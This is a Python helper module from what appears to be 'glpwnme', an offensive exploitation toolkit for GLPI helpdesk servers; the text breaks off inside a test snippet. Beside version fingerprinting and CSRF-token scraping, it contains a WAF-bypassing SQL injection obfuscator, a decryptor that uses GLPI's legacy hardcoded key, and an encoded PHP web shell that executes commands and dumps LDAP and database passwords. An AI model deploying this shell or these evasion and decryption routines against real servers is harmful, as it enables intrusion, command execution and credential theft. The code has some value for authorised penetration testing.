import re
import json
import zlib
import uuid
import base64
import string
import random
import hashlib
import operator
from os import path
from enum import Enum, auto
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from dataclasses import dataclass
from glpwnme.exploits.logger import Log
from typing import Optional, List
from functools import wraps
from packaging.version import Version

OPS = {
    ">": operator.gt,
    ">=": operator.ge,
    "<": operator.lt,
    "<=": operator.le,
    "==": operator.eq,
}

class LoginResult(Enum):
    SUCCESS = auto()
    FAILED = auto()
    MFA_REQUIRED = auto()

def skip_check_when_version(op, required_version):
    """
    Skip a function check if the version is not as expected
    """
    if op not in OPS.keys():
        raise ValueError(f"Unsupported operator: {op}")

    def decorator(func):
        @wraps(func)
        def wrapper(self, *args, **kwargs):
            used_version = self.glpi_infos.glpi_version \
                               if self.glpi_infos.glpi_version is not None \
                               else self.glpi_infos.glpi_nearest_version
            if used_version is not None:
                cv = Version(used_version)
                rv = Version(required_version)
                if OPS[op](cv, rv):
                    return None

            return func(self, *args, **kwargs)
        return wrapper
    return decorator

def sha512(message):
    """
    Return the sha512 hexdigest from a message

    :param message: The message to be encoded
    :type message: Union[str, bytes]
    """
    if isinstance(message, str):
        message = message.encode()
    init_hash = hashlib.sha512()
    init_hash.update(message)
    return init_hash.hexdigest()

def sha1(message):
    """
    Return the sha1 hexdigest from a message

    :param message: The message to be encoded
    :type message: Union[str, bytes]
    """
    if isinstance(message, str):
        message = message.encode()
    init_hash = hashlib.sha1()
    init_hash.update(message)
    return init_hash.hexdigest()

def md5(message):
    """
    Return the md5 hexdigest from a message

    :param message: The message to be encoded
    :type message: Union[str, bytes]
    """
    if isinstance(message, str):
        message = message.encode()
    init_hash = hashlib.md5()
    init_hash.update(message)
    return init_hash.hexdigest()

@dataclass
class GlpiCredentials:
    """
    Keep the glpi credentials
    """
    username: str = None
    password: str = None
    otp: str = None
    auth: str = None
    token: str = None
    cookie: str = None
    profile: str = None
    server_user: str = ""
    server_password: str = ""

@dataclass
class GlpiInfos:
    """
    Keep the glpi infos of the remote target
    """
    glpi_version: str = None
    php_version: str = None
    os_used: str = None
    root_dir: str = None
    api_status: bool = False
    inventory_status: bool = False
    session_dir_listing: bool = False
    password_forget_enable: Optional[bool] = None
    is_config_safe: Optional[bool] = None
    glpi_nearest_version: Optional[str] = None
    plugins: Optional[List[str]] = None

class GlpiUtils:
    """
    Class containing the glpi utils function
    """

    glpi_denied_msg = [b'Ingen tilgang', b'Eri\xc5\x9fim engellendi', b'Pieeja liegta', b'Acceso denegado', b'Ligip\xc3\xa4\xc3\xa4s puudub', b'\xe3\x82\xa2\xe3\x82\xaf\xe3\x82\xbb\xe3\x82\xb9\xe3\x82\x92\xe6\x8b\x92\xe5\x90\xa6\xe3\x81\x97\xe3\x81\xbe\xe3\x81\x97\xe3\x81\x9f']
    glpi_denied_msg += [b'Acesso negado', b'Acc\xc3\xa8s refus\xc3\xa9', b'Aliro malkonfirmita', b'\xd0\x9e\xd1\x82\xd0\xba\xd0\xb0\xd0\xb7\xd0\xb0\xd0\xbd \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x8a\xd0\xbf']
    glpi_denied_msg += [b'\xd7\x94\xd7\x92\xd7\x99\xd7\xa9\xd7\x94 \xd7\xa0\xd7\x93\xd7\x97\xd7\xaa\xd7\x94', b'A\xc3\xb0gangi hafna\xc3\xb0', b'\xd0\x97\xd3\xa9\xd0\xb2\xd1\x88\xd3\xa9\xd3\xa9\xd1\x80\xd3\xa9\xd0\xb3\xd0\xb4\xd3\xa9\xd1\x85\xd0\xb3\xd2\xaf\xd0\xb9 \xd1\x85\xd0\xb0\xd0\xbd\xd0\xb4\xd0\xb0\xd0\xbb\xd1\x82', b'Acc\xc3\xa9s denegat', b'\xd0\x94\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf \xd0\xb7\xd0\xb0\xd0\xb1\xd0\xb0\xd1\x80\xd0\xbe\xd0\xbd\xd0\xb5\xd0\xbd\xd1\x8b']
    glpi_denied_msg += [b'Sarbidea ukatuta', b'\xe6\x8b\x92\xe7\xbb\x9d\xe5\xad\x98\xe5\x8f\x96', b'Acceso denegado', b'Acceso denegado', b'Adgang n\xc3\xa6gtet', b'Zugriff verweigert']
    glpi_denied_msg += [b'\xec\xa0\x91\xea\xb7\xbc\xec\x9d\xb4 \xea\xb1\xb0\xeb\xb6\x80\xeb\x90\xa8', b'Acceso denegado', b'Acceso Denegado', b'Access Denied', b'Akses Ditolak', b'Acceso denegado', b'Prieiga draud\xc5\xbeiama', b'Tidak dibenarkan']
    glpi_denied_msg += [b'Toegang geweigerd', b'P\xc5\x99\xc3\xadstup odep\xc5\x99en', b'Pr\xc3\xadstup zamietnut\xc3\xbd', b'\xe0\xa4\xaa\xe0\xa5\x8d\xe0\xa4\xb0\xe0\xa4\xb5\xe0\xa5\x87\xe0\xa4\xb6 \xe0\xa4\x85\xe0\xa4\xb8\xe0\xa5\x8d\xe0\xa4\xb5\xe0\xa5\x80\xe0\xa4\x95\xe0\xa4\xbe\xe0\xa4\xb0 \xe0\xa4\x95\xe0\xa4\xb0 \xe0\xa4\xa6\xe0\xa4\xbf\xe0\xa4\xaf\xe0\xa4\xbe \xe0\xa4\x97\xe0\xa4\xaf\xe0\xa4\xbe', b'Accesso negato', b'Acc\xc3\xa8s refus\xc3\xa9', b'\xe6\x8b\x92\xe7\xb5\x95\xe5\xad\x98\xe5\x8f\x96']
    glpi_denied_msg += [b'Acceso denegado', b'Truy c\xe1\xba\xadp b\xe1\xbb\x8b t\xe1\xbb\xab ch\xe1\xbb\x91i', b'Acc\xc3\xa8s refus\xc3\xa9', b'\xce\x91\xcf\x80\xce\xb1\xce\xb3\xce\xbf\xcf\x81\xce\xb5\xcf\x85\xce\xbc\xce\xad\xce\xbd\xce\xb7 \xcf\x80\xcf\x81\xcf\x8c\xcf\x83\xce\xb2\xce\xb1\xcf\x83\xce\xb7', b'\xd0\x94\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x80\xd0\xb5\xd1\x89\xd0\xb5\xd0\xbd', b'Acceso denegado']
    glpi_denied_msg += [b'P\xc3\xa4\xc3\xa4sy estetty', b'\xe0\xb8\x9b\xe0\xb8\x8f\xe0\xb8\xb4\xe0\xb9\x80\xe0\xb8\xaa\xe0\xb8\x98\xe0\xb8\x81\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb9\x83\xe0\xb8\x8a\xe0\xb9\x89', b'Acesso negado', b'Pristup odbijen', b'\xd8\xba\xd9\x8a\xd8\xb1 \xd9\x85\xd8\xb3\xd9\x85\xd9\x88\xd8\xad \xd8\xa8\xd8\xa7\xd9\x84\xd9\x88\xd8\xb5\xd9\x88\xd9\x84 \xd8\xa5\xd9\x84\xd9\x8a\xd9\x87', b'Hozz\xc3\xa1f\xc3\xa9r\xc3\xa9s megtagadva', b'Pristup odbijen', b'Acceso denegado', b'\xd0\x94\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf \xd0\xb7\xd0\xb0\xd0\xb1\xd0\xbe\xd1\x80\xd0\xbe\xd0\xbd\xd0\xb5\xd0\xbd\xd0\xbe']
    glpi_denied_msg += [b'\xe0\xb2\xaa\xe0\xb3\x8d\xe0\xb2\xb0\xe0\xb2\xb5\xe0\xb3\x87\xe0\xb2\xb6\xe0\xb2\xb5\xe0\xb2\xa8\xe0\xb3\x8d\xe0\xb2\xa8\xe0\xb3\x81 \xe0\xb2\xa8\xe0\xb2\xbf\xe0\xb2\xb0\xe0\xb2\xbe\xe0\xb2\x95\xe0\xb2\xb0\xe0\xb2\xbf\xe0\xb2\xb8\xe0\xb2\xb2\xe0\xb2\xbe\xe0\xb2\x97\xe0\xb2\xbf\xe0\xb2\xa6\xe0\xb3\x86', b'Access denied', b'\xd8\xa7\xd9\x85\xda\xa9\xd8\xa7\xd9\x86 \xd8\xaf\xd8\xb3\xd8\xaa\xd8\xb1\xd8\xb3\xdb\x8c \xd9\x88\xd8\xac\xd9\x88\xd8\xaf \xd9\x86\xd8\xaf\xd8\xa7\xd8\xb1\xd8\xaf', b'Ingen tilgang', b'Anslutning nekad', b'Toegang geweigerd', b'Dostop zavrnjen', b'Acces interzis', b'Dost\xc4\x99p zabroniony']

    PLUGINS_NAME_FORMAT = re.compile(r'/front.?/locale.php\?domain=(\w+)&', re.I)

    @staticmethod
    def extract_attr(attr, name):
        """
        Extract the attr wanted from the soup tag

        :return: The attr value if exists else None
        :rtype: str
        """
        if(attr and attr.has_attr(name)):
            return attr[name]
        return None

    @staticmethod
    def extract_redirect(response):
        """
        Extract the redirect url from html response

        :param response: The response
        :type response: class:`Response`

        :return: The url found, empty if none
        :rtype: str
        """
        html = response.text
        if response.headers.get("Location", ""):
            return response.headers.get("Location")

        # If headers have already been sent, then it will redirect through javascript or <meta var
        if "window.location='" in html and "(NomNav=='Konqueror')" in html:
            # Version 9.X / 10.X, redirected through javascript
            url_matched = re.search(r"window.location='([^']+)", html)
            if url_matched:
                return url_matched.group(1)

        if '<meta http-equiv="refresh" content="0;url=' in html:
            # Version 11.X starts redirecting using meta tag
            url_matched = re.search(r""";url=['"]?([^'"]+)""", html)
            if url_matched:
                return url_matched.group(1)
        return ""

    @staticmethod
    def get_htaccess_content():
        """
        Return the default htaccess content in glpi
        """
        default_htaccess = "<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n"
        default_htaccess += "<IfModule !mod_authz_core.c>\ndeny from all\n</IfModule>\n"
        return default_htaccess

    @staticmethod
    def random_str(length):
        """
        Generate a random string of length specified
        """
        alphabet = string.ascii_letters + string.digits
        return "".join(random.choice(alphabet) for _ in range(length))

    @classmethod
    def obf_sql(cls, payload):
        """
        Obfuscate a SQL Payload for bypassing WAF

        :param payload: The payload to obfuscate
        :type payload: str

        :return: The Obfuscated payload
        :rtype: str
        """
        new_payload = payload
        for keyword in ["SELECT", "FROM", "WHERE", " OR ", "LIMIT", "UNION"]:
            new_payload = re.sub(re.compile(keyword, re.I),
                                 f"{keyword}#/**" + cls.random_str(random.randint(1, 10))
                                 + "*/" + cls.random_str(random.randint(1, 10)) + "\r\n",
                                 new_payload)
        return new_payload

    @classmethod
    def extract_plugins(cls, html):
        """
        Extract names of the enabled plugins from the
        text html

        :param html: The html response of a glpi page
        :type html: str
        """
        html = html.replace("\\/", "/").encode().decode("unicode_escape")
        result = re.findall(cls.PLUGINS_NAME_FORMAT, html)
        # glpi is always considered a plugin
        if "glpi" in result:
            result.remove("glpi")
        return result

    @classmethod
    def is_access_denied(cls, html_page):
        """
        Check if the access to a page has been denied or not
        in glpi an access denied is specified in the page title,
        no status_code are set

        :param htlm_page: The html result of the page
        :type html_page: bytes

        :return: Whether or not the access to the page is denied or not
        :rtype: bool
        """
        soup = BeautifulSoup(html_page, 'html.parser')
        title = soup.title
        if title:
            title = title.text.encode("utf-8")
            return any(map(lambda access_denied: access_denied in title, cls.glpi_denied_msg))
        return False

    @staticmethod
    def to_hex(msg):
        """
        Convert a string to hex for mysql usage

        :param msg: The message to encode
        :type msg: Union[str, bytes]
        """
        if isinstance(msg, str):
            msg = msg.encode()
        hex_msg = msg.hex()
        return f"0x{hex_msg}"

    @staticmethod
    def decrypt_old(cyphertext):
        """
        Decrypt old password for glpi

        :param cyphertext: The encrypted text to decrypt
        :type cyphertext: Union[str, bytes]

        :return: The password decrypted
        :rtype: str
        """
        if isinstance(cyphertext, str):
            cyphertext = cyphertext.encode()
        
        cyphertext = base64.b64decode(cyphertext)
        old_default_key = b"\x47\x4c\x50\x49\xc2\xa3\x69\x27\x73\x6e\x61\x72\x73\x73\x27\xc3\xa7"
        plaintext = bytearray()
        for i, char in enumerate(cyphertext):
            key_char = old_default_key[(i % len(old_default_key)) -1]
            plaintext.append((char - key_char)%256)
        return plaintext

    @staticmethod
    def check_privs(current_priv, expected_priv):
        """
        Check if the privileges given match those needed
        for the exploit

        :param current_priv: The current privileges
        :type current_priv: class:`Privs`

        :param expected_priv: The expected privileges
        :type expected_priv: class:`Privs`

        :return: Whether or not the privileges given are sufficient
        :rtype: bool
        """
        priv_order = ["Unauthenticated", "ReadOnly", "User",
                      "Observer", "Hotliner", "Technician", "Supervisor",
                      "Admin", "SuperAdmin"]

        current_value = priv_order.index(current_priv.name)
        expected_value = priv_order.index(expected_priv.name)
        return current_value >= expected_value

    @staticmethod
    def extract_user_profiles(html):
        """
        Function showing the profile(s) of a user when logged in.
        This function will only return a result for GLPI >= 10.0.0

        :param html: The html DOM containing the profiles
        :type html: Union[str, bytes]

        :return: The list of the available profiles
        :rtype: List[str]
        """
        profiles = []
        soup = BeautifulSoup(html, 'html.parser')
        divs = soup.find("div", attrs={"class": "dropdown-menu"})
        form_profiles = soup.find_all("form", attrs={"action": "/Session/ChangeProfile"})
        if form_profiles:
            for inp in form_profiles:
                button = inp.find("button", attrs={"type": "submit"})
                if button:
                    profile = button.text.strip()
                    if not profile in profiles:
                        profiles.append(profile)
        elif divs:
            for child in divs.findChildren("a"):
                if(child.has_attr("href") and "newprofile" in child["href"]):
                    profiles.append(child.text.strip())
        else:
            # Probably an old GLPI, implementation on old version is the following
            selects = soup.find("select", attrs={"name": "newprofile"})
            if selects:
                for child in selects.findChildren("option"):
                    profiles.append(child.text.strip())
        return profiles

    @staticmethod
    def extract_redirect_message(html):
        """
        Extract the redirects message from the Html DOM

        :param html: The html from which to extract the messages
        :type html: Union[str, bytes]

        :return: The messages
        :rtype: List[str]
        """
        messages = []
        soup = BeautifulSoup(html, 'html.parser')
        divs = soup.find_all("div", attrs={"class": "toast", "role": "alert"})
        if divs:
            for div in divs:
                for child in div.findChildren("div"):
                    if(child.has_attr("class") and child["class"] == ["toast-body"]):
                        messages.append(child.text.strip())

        else:
            # Old glpi case
            possible_ids = [f"message_after_redirect_{i}" for i in range(0, 3)]
            for div_id in possible_ids:
                divs = soup.find_all("div", attrs={"id": div_id})
                if divs:
                    for div in divs:
                        messages.append(div.text.strip())

        return messages

    @staticmethod
    def extract_user_field(html_answer, field):
        """
        Recover the field "field" in the html dom

        :param html_answer: The HTML DOM got from the answer
        :type html_answer: str

        :param field: The field from which to recover the value of the account
        :type field: str
        """
        soup = BeautifulSoup(html_answer, 'html.parser')
        attrs = soup.find("input", attrs={"name": field})
        return GlpiUtils.extract_attr(attrs, "value")

    @staticmethod
    def extract_csrf(html_answer):
        """
        Recover the CSRF token from the HTML DOM

        :param html_answer: The HTML DOM got from the answer
        :type html_answer: str

        :return: The CSRF token
        :rtype: str
        """
        soup = BeautifulSoup(html_answer, 'html.parser')
        res = soup.find("input", attrs={"name": "_glpi_csrf_token"})
        if(res and res.has_attr("value")):
            return res["value"]

        res = soup.find("meta", attrs={"property": "glpi:csrf_token"})
        if(res and res.has_attr("content")):
            return res["content"]
        return ""

    @staticmethod
    def extract_login_field(html_answer):
        """
        Recover the CSRF token from the HTML DOM

        :param html_answer: The HTML DOM got from the answer
        :type html_answer: str

        :return: The login and the password name field
        :rtype: dict
        """
        soup = BeautifulSoup(html_answer, 'html.parser')
        login = soup.find("input", attrs={"id": "login_name"})
        password = soup.find("input", attrs={"id": "login_password"})

        login_field = login["name"]
        if not password:
            password = soup.find("input", attrs={"type": "password"})
        password_field = password["name"]
        return {"login": login_field, "password": password_field}

    @staticmethod
    def extract_auth(html_answer):
        """
        Recover the CSRF token from the HTML DOM

        :param html_answer: The HTML DOM got from the answer
        :type html_answer: str

        :return: The auths possible
        :rtype: List
        """
        authentications = []
        soup = BeautifulSoup(html_answer, 'html.parser')
        authent = soup.find(attrs={"name": "auth"})
        if authent:
            options = authent.findAll('option')
            for option in options:
                if option.has_attr("selected"):
                    authentications.insert(0, option["value"])
                else:
                    authentications.append(option["value"])
        return authentications

    @staticmethod
    def parse_target(target):
        """
        Parse the target to get the correct form of
        the url

        :raise ValueError: if the url does not contain a netloc

        :param target: The target of the exploit
        :type target: str
        """
        url = urlparse(target)
        end = ""
        if url.path:
            if(url.path.find(".php") != -1 or url.path.find(".html")):
                end = url.path[:url.path.rfind("/")].rstrip("/")
            else:
                end = url.path.rstrip("/")

        if url.netloc == "":
            raise ValueError(f"Cannot parse url {target}")
        return f"{url.scheme}://{url.netloc}{end}"

    @staticmethod
    def extract_version_from_map(map_content):
        """
        Extract the glpi version from a .map file
        
        :return: The glpi infos extracted from the page
        :rtype: class:`GlpiInfos`
        """
        version_regex = re.compile(rb"glpi-((\d|\.)+)")
        values = re.findall(br"!([^!]+glpi-.*?\.js)", map_content)
        for val in values:
            version = re.search(version_regex, val)
            if val.startswith(b"/tmp/"):
                os_used = "Unix"
            else:
                os_used = "Windows"
            if version is not None:
                return GlpiInfos(glpi_version=version.group(1).decode(), os_used=os_used)
        return GlpiInfos()

    @staticmethod
    def extract_infos_from_telemetry(telemetry):
        """
        Recover the php and glpi version and os family
        from telemetry

        :return: The glpi infos extracted from the page
        :rtype: class:`GlpiInfos`
        """
        soup = BeautifulSoup(telemetry, 'html.parser')
        res = soup.find("code")
        if not res:
            return GlpiInfos()

        try:
            res = json.loads(res.text)
            glpi_version = res["glpi"]["version"]
            php_version = res["system"]["php"]["version"]
            os_used = "Windows" if res["system"]["os"]["family"].lower().startswith("win") else "Unix"
            return GlpiInfos(glpi_version, php_version, os_used)

        except Exception as e:
            Log.err(f"[red]Error from json conversion:[/red]")
            print(e)
            return GlpiInfos()

    @staticmethod
    def extract_version_from_html(html):
        """
        Extract the version form the DOM Html

        :param html: The html page content
        :type html: str

        :return: The version if found
        :rtype: class:`GlpiInfos`
        """
        soup = BeautifulSoup(html, 'html.parser')
        res = soup.find(attrs={"class": "copyright"})
        if res:
            glpi_regex = re.compile(r"glpi ((\d|\.)+)", re.I)
            found = re.search(glpi_regex, res.text)
            if found:
                return GlpiInfos(found.group(1))

        else:
            glpi_regex = re.compile(r"window.CFG_GLPI\s*=\s*\{.*\};", re.DOTALL)
            json_cfg = re.search(glpi_regex, html)
            if json_cfg:
                version = re.search(r'"version"\s*:\s*"((\d|\.)+)"', json_cfg.group())
                if version:
                    return GlpiInfos(version.group(1))
        return GlpiInfos()

    @staticmethod
    def extract_sha1_hash(html_page):
        """
        Extract the sha1 hash from a html page
        """
        soup = BeautifulSoup(html_page, 'html.parser')
        res = soup.findAll("script")
        for script in res:
            val = GlpiUtils.extract_attr(script, "src")
            if(val and val.find("?v=") != -1):
                return val[val.find("?v=") + 3:]

    @staticmethod
    def extract_php_version(headers):
        """
        Extract the php version from the headers if it
        is present

        :param headers: Th headers returned by the server
        :type headers: dict

        :return: The php version in use in a GlpiInfos dataclass
        :rtype: class:`GlpiInfos`
        """
        for val in headers.values():
            index = val.lower().find('php/')
            if(index != -1 and len(val) > index + 4):
                val = val[index + 4:].strip()
                php_version = val[:val.find(" ")] # In case the header is like this: PHP/8.5.55 Perl/5.66...
                if php_version:
                    return GlpiInfos(php_version=php_version)
        return GlpiInfos()

    @staticmethod
    def extract_table(html):
        """
        Extract a table from a html page and returns a dictionnary
        associated. If no thead, then it will return a dictionnary with index instead
        of name.

        :param html: The html DOM containing the tabl
        :type html: Union[str, bytes]

        :return: The dictionnary of the table
        :rtype: Dict[str, List[class:`tag`]]
        """
        table_result = {}
        soup = BeautifulSoup(html, 'html.parser')
        for th, td in zip(soup.select('th'), soup.select('td')):
            table_result[th.text.strip()] = td.text.strip().splitlines()
        return table_result

    @staticmethod
    def get_glpi_shell():
        """
        Return a php glpi shell that will be used by default

        Password to access the shell: ?passwd=P@ssw0rd123 --> Dump the password of the ldap and the DB
        Exec command: ?passwd=P@ssw0rd123&_hidden_cmd=whoami --> Exec the command through the `exec` function

        :return: The  glpi shell content
        :rtype: bytes
        """
        if path.isfile("shell.php"):
            with open("shell.php", "rb") as f:
                glpi_shell = f.read()
            return glpi_shell
        Log.msg("Cannot find file [b]shell.php[/b], using static web shell")
        glpi_shell = b"eJylV1tv2kgUfudXzLpWsdskdHerPkCgTQKbVpt2EUm0irqVa+wDHtXMWDPjBsry3/fMxcbOpVuplgB75jvfnLsPx6+LrOh0es9+8uqQZ+RvmMsM8pxcy3gJfb1EyOsilvI2HU7f4M8Lkf762+/k8HBEpoIyRZZ5QYlBcJFKQhkpJTwq+DTKaJoCi5JVOrzNeLyihmuyhqRUQOwSimuGawkpyUAAgXWRc6pkr1Q0lz19ZmRuj4pNfwUq42l/CSoyG8YCR/H58+d5LDN9W2wQxlD1hHTpquBCkW85nQ/cPcLg1csBsfYPCS+ABZ55OkIHewfEE3MvHBTa6sCij+avXgJLeAqBpjpK+KoQIGVgxQTEaRDiNbDPSc4lBGHXKYY/P3n1Oh0QgotIgLaBsmUwiSaz2V8z8i+ZRNOT2eUkHHQ6/uXk7Hr27uomuryanVxNzm/QQI/xKMkg+eIhYlGyRFHOiKIqh8BfhdsOIZBknHjH89FxOfLIEcnUKgeGEAoyKJMFFVJpbIh73nEPcb0SP3Mx+och667Bm0IiNoWKdEoEvv42J9BFYMMXwZpKJQPv/GL67k/YaH87GS80UEIEqFIwEjC4JQ6G7j0cOZyjHSB2RyCXcJ/8ivN8ztcPkX8XLHlKy9X4jkitkUP2+y1cQx/UyHw/efKEzCDO8w3heWprxymCqX5LVUZi8gU2uoxUBiThbEGXnYeOahl9YP0xuWlYT1pO844nH85mN9OryXj0cWuEdp88g27HqVwVUVXOgTF0mfN5nBP/7I/zSB9zQPzxKeaMNecy47d1/aPeCy5WsaaSGkDGyIedgq83RGK2rWC/ejE+mZKpk7S58AusCrUJ6qM+eoUWjVi8Au9TGCLKWuXb9URA+g1z+TE5bEUC5V4/sqHTtq8Tu52dd8G2jSGPxr9BCW/QVKIUul94mVJFv9fbNlXbafI9X3dvTXd/+L19XcvdT/YMW49Wkb7nkukt1mG/bzrRWQ4xOxEi3gSx+fass98x3T49Mhw11AxteuDHj0uVRTbhJWp/go993UIv+JIy/fTe7gWhibRvMzHK07hAuK5ADdIhDAypj0kdIYiBySPN2ZQ5HC0oSx0ZpgjESRbck4mlEXLP+8KkUgJm+n7rY1dwrlLmQtPF0Dx9Sh6F4X5dsr5Wx8ihiu24f49/4MRdPC60H840fo3wOjD/ExqT8adxFZeHFMVmY1DjD/cwnn7ppMyrMVXtWGRtF26f1VLoFBLj3dcHzqQyslvaP5UBO9eu9nU6Pq3r21UpCrIyzwPsA5VjnV/GsYq1mq1G8GN5i8e85VJZNcen2NbnGT4fOL0ev7RkdW5TOoVFXOY/SHCtG0JDWDeIH5NsRQGLDHNKDwSOp/JcWNUeenaf0dH55Aq7TN1fMInvrJHhEHtLY4Lyws7W1hAJfDp8MSA+Jcfkpf59/jys+qOAPNahxSSXygwIEKvAOzrq4fvMp7YQEad4RFmSl6lGettaboerPbcjzQCEElU9LmgO1WuywbAvMrcQcZZAC1GXkdhsa+/atMhwWgJhB4C9U2uJZiOwLmqMks531Wvgof2w5tk2wurzUhWlGup0HjTX8bX5Nc7vrQPOqY6/2+DXdeuoDirZysVO0I5SOjVGXpPRNUMMppU3TTCnDMKWoo6hNYE5mJ29RJt2d//snjn8LrQ1LNjrzgzQwFY9giSxwgY+WSdQmC7jt9Q1B/pwOMIXynuch/G/RHCnwRAyR7u/7IcjXRn/AW7pxnw="
        return zlib.decompress(base64.b64decode(glpi_shell))

    @staticmethod
    def get_md5(cookies):
        """
        Extract the md5 value from a cookie if any
        
        :param cookies: The cookies of the current session
        :type cookies: dict
        """
        regex_md5 = re.compile(r"_([0-9a-f]{32})$")
        for val in cookies.keys():
            if val.startswith("glpi_"):
                result = re.findall(regex_md5, val)
                if result:
                    return result[0]
        return None

    @staticmethod
    def get_sha512(cookies):
        """
        Extract the sha512 value from a cookie if any
        @added in GLPI 11.0

        :param cookies: The cookies of the current session
        :type cookies: dict
        """
        regex_sha512 = re.compile(r"_([0-9a-f]{128})$")
        for val in cookies.keys():
            if val.startswith("glpi_"):
                result = re.findall(regex_sha512, val)
                if result:
                    return result[0]
        return None

    @staticmethod
    def guess_glpi_root_dir(target_hash, target):
        """
        Try to guess the root directory from the target_hash
        Here are the 2 ways that have been used to calculate the md5:

        .. code-block:: php

            $sess_name = "glpi_".md5(realpath(GLPI_ROOT)); # Until glpi 10.0.7 included

            $path = realpath(GLPI_ROOT);
            $host = $_SERVER['HTTP_HOST'] ?? '';
            $port = $_SERVER['SERVER_PORT'] ?? '';
            $sess_name = "glpi_" . md5($path . $host . $port); # since 10.0.8

            session_name('glpi_' .
                         \\hash('sha512',
                              $this->root_dir .
                             ($_SERVER['HTTP_HOST'] ?? '') .
                             ($_SERVER['SERVER_PORT'] ?? '')
                          )
                        ); # Recent glpi, since 11.0.0

        :return: The root directory install of glpi if found
        :rtype: str
        """
        hash_function = sha512
        if len(target_hash) == 32:
            hash_function = md5

        root_directories = ["/var/www/html", "/var/www", "/var/www/html/glpi", "/var/www/glpi", "/opt", "/opt/glpi"]
        root_directories += ["D:\\site\\glpi", "D:\\sites\\glpi", "C:\\inetpub\\wwwroot", "C:\\inetpub\\glpi"]
        root_directories += ["C:\\site\\glpi", "C:\\sites\\glpi", "C:\\wamp\\www", "C:\\wamp\\www\\glpi"]
        root_directories += ["C:\\Site\\inetpub\\wwwroot\\glpi", "C:\\Site\\inetpub", "C:\\Site\\glpi"]
        root_directories += ["C:\\xampp\\htdocs\\glpi", "C:\\xampp\\glpi"]

        url = urlparse(target)
        host = url.hostname
        port = url.port
        if not port:
            port = 443 if url.scheme == "https" else 80

        port = str(port)
        second_host = host + ":" + port # $_SERVER['HTTP_HOST'] may be for instance 127.0.0.1:8020
        for directory in root_directories:
            recent_hash_port = hash_function(directory + host + port)
            recent_hash = hash_function(directory + host)
            recent_hash_other_host = hash_function(directory + second_host + port)
            recent_hash_other_host_empty_port = hash_function(directory + second_host)
            if hash_function(directory) == target_hash:
                return directory

            elif(recent_hash_port == target_hash
                  or recent_hash == target_hash
                  or recent_hash_other_host == target_hash
                  or recent_hash_other_host_empty_port == target_hash):
                return directory

        return None

    @classmethod
    def get_dashboard_url(cls, name, instance_uuid, entities_id="0", is_recursive="1"):
        """
        Craft the dashboard url given the necessary informations

        :param name: The dashboard name, example "central"
        :type name: str

        :param instance_uuid: The instance uuid of glpi
        :type instance_uuid: str
s
        :return: The url to the dashboard
        :rtype: str
        """
        url_format = "/front/central.php?embed&dashboard={name}&entities_id={e_id}&is_recursive={is_r}&token={token}"
        token = cls.calc_uuid(name, instance_uuid, entities_id, is_recursive)
        return url_format.format(name=name,
                                 e_id=entities_id,
                                 is_r=is_recursive,
                                 token=token)

    @staticmethod
    def calc_uuid(name, instance_uuid, entities_id="0", is_recursive="1"):
        """
        Calculate the UUID of a GLPI Instance
        """
        return str(uuid.uuid5(uuid.NAMESPACE_OID, name + entities_id + is_recursive + instance_uuid))

    @staticmethod
    def guess_glpi_version(sha1_hash, root_directory, current_url):
        """
        Guess the glpi version from the sha1 hash in the html dom
        Required to know the ghostname of the server

        In recent glpi version the hash is build as follow:

        .. code-block:: php

            $hash = sha1(GLPI_VERSION . gethostname() . GLPI_ROOT);

        """
        all_glpi_versions = ["0.85.5", "0.90", "0.90.1", "0.90.2", "0.90.3", "0.90.4", "0.90-RC1", "0.90-RC2", "9.1-RC1"]
        all_glpi_versions += ["0.90.5", "9.1", "9.1.1", "9.1.2", "9.1.3", "9.1.4", "9.1.5", "9.1.6", "9.1-RC2", "9.2-RC1"]
        all_glpi_versions += ["9.1.7", "9.1.7.1", "9.2", "9.2.1", "9.2.2", "9.2.3", "9.2-RC2", "9.3", "9.3-RC1", "9.3-RC2"]
        all_glpi_versions += ["9.2.4", "9.3.0", "9.3.1", "9.3.2", "9.3.3", "9.4.0", "9.4.0-rc1", "9.4.0-rc2", "9.4.1"]
        all_glpi_versions += ["9.3.4", "9.4.1.1", "9.4.2", "9.4.3", "9.4.4", "9.4.5", "9.4.6", "9.5.0", "9.5.0-rc1", "9.5.0-rc2"]
        all_glpi_versions += ["10.0.0-rc1", "10.0.0-rc2", "9.5.1", "9.5.2", "9.5.3", "9.5.4", "9.5.5", "9.5.6", "9.5.7"]
        all_glpi_versions += ["10.0.0", "10.0.0-rc3", "10.0.1", "10.0.2", "10.0.3", "10.0.4", "9.5.10", "9.5.11", "9.5.8", "9.5.9"]
        all_glpi_versions += ["10.0.10", "10.0.11", "10.0.12", "10.0.5", "10.0.6", "10.0.7", "10.0.8", "10.0.9", "9.5.12", "9.5.13"]
        all_glpi_versions += ["10.0.13", "10.0.14", "10.0.15", "10.0.16", "10.0.17", "10.0.18", "10.0.19", "10.0.20", "10.0.21", "10.0.22"]
        all_glpi_versions += ["10.0.23", "10.0.24", "10.0.25", "10.0.26", "10.0.27", "10.0.28", "10.0.29", "10.0.30"]
        all_glpi_versions += ["11.0.0", "11.0.1", "11.0.2", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9"]
        all_glpi_versions += ["11.0.10", "11.0.11", "11.0.12"]

        url = urlparse(current_url)
        hostname = url.hostname
        if hostname:
            hostname = hostname.split(".")[0]

        if not hostname:
            return None

        Log.log(f"Trying to guess the version usign hash: [blue]{sha1_hash}[/blue], and {hostname =}")
        for potential_version in all_glpi_versions:
            match_word = f"{potential_version}{hostname}{root_directory}"
            if sha1(match_word) == sha1_hash:
                print()
                return potential_version
        print()

if __name__ == "__main__":
    html_test = """
    <html>
    <head>
    <meta property="glpi:csrf_token" content="c119235be16a1e0099636dd9ea0331047654d7c8b26b0e8cb8a294058220dad5" />
    </head>
    <body>
        <form action="/front/login.php" method="post" autocomplete="off"  data-submit-once>
          <input type="hidden" name="noAUTO" value="0" />
